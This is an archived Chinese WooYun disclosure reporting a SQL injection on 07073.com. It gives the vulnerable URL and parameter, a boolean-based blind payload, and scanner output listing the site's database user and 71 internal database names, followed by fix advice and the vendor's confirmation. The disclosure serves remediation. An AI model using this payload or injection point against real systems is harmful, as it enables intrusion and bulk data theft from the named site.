漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-044800
漏洞标题：敏感信息泄露#07073sql注入可大量数据泄露
相关厂商：07073.com
漏洞作者： adm1n
提交时间：2013-12-03 14:08
修复时间：2014-01-17 14:08
公开时间：2014-01-17 14:08
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-12-03： 细节已通知厂商并且等待厂商处理中
2013-12-03： 厂商已经确认，细节仅向厂商公开
2013-12-13： 细节向核心白帽子及相关领域专家公开
2013-12-23： 细节向普通白帽子公开
2014-01-02： 细节向实习白帽子公开
2014-01-17： 细节向公众公开
简要描述：
由07073主站一处隐蔽的注入引起的，几十个站点沦陷
详细说明：
1.http://www.07073.com/plus/zt/index.php?model=20121205&f=personal&id=10569603
一个小问题就能引发一系列的问题，一定要认真对待
漏洞证明：
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: model=20121205&f=personal&id=10569603 AND 7740=7740
---
[12:37:21] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
current user: 'amdbuser@%'
current database: 'www07073'
available databases [71]:
[*] 123_07073
[*] `www.13cr.com`
[*] `xuan-astd`
[*] acg073
[*] adv07073
[*] advertising
[*] android07073
[*] askdata
[*] atlas07073
[*] baobei
[*] bar07073
[*] bbs073
[*] bl07073
[*] box07073
[*] cache07073
[*] cartoon
[*] case07073client
[*] coderead
[*] comment
[*] datacenter
[*] db07073
[*] db07073_tx2
[*] db07073qn
[*] dbcache
[*] discuz
[*] dn07073
[*] dnf07073
[*] downloads
[*] duandi
[*] fahao073
[*] fahao10
[*] flash07073
[*] giftcode
[*] hdtemplates
[*] hi07073
[*] huodong
[*] information_schema
[*] iphonewy_x15
[*] iphonewy_x20
[*] kaifuopen_hzhks
[*] kaifuopen_zjgtqxx
[*] kc07073
[*] kf07073
[*] kf07073b
[*] kf207073
[*] list07073
[*] mesearch
[*] mh073
[*] mobilenews
[*] molihai073
[*] monitor
[*] mysql
[*] nycc
[*] other_website
[*] paihang07073
[*] performance_schema
[*] shop073
[*] team07073
[*] tongji
[*] top2011
[*] tweibo
[*] ui073
[*] webbox
[*] weixin073
[*] wenwen073
[*] wow07073
[*] www07073
[*] xweibo
[*] youxi
[*] zhuanchu
[*] zt07073
修复方案：
1.过滤敏感字符
2.合理控制各个数据库账户的权限
3.部分站点后台设置复杂一点
亲，有木有礼物......
版权声明：转载请注明来源 adm1n@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：20
确认时间：2013-12-03 14:10
厂商回复：
漏洞已确认，估计这类似的很多，我们正努力解决，谢谢。
最新状态：
暂无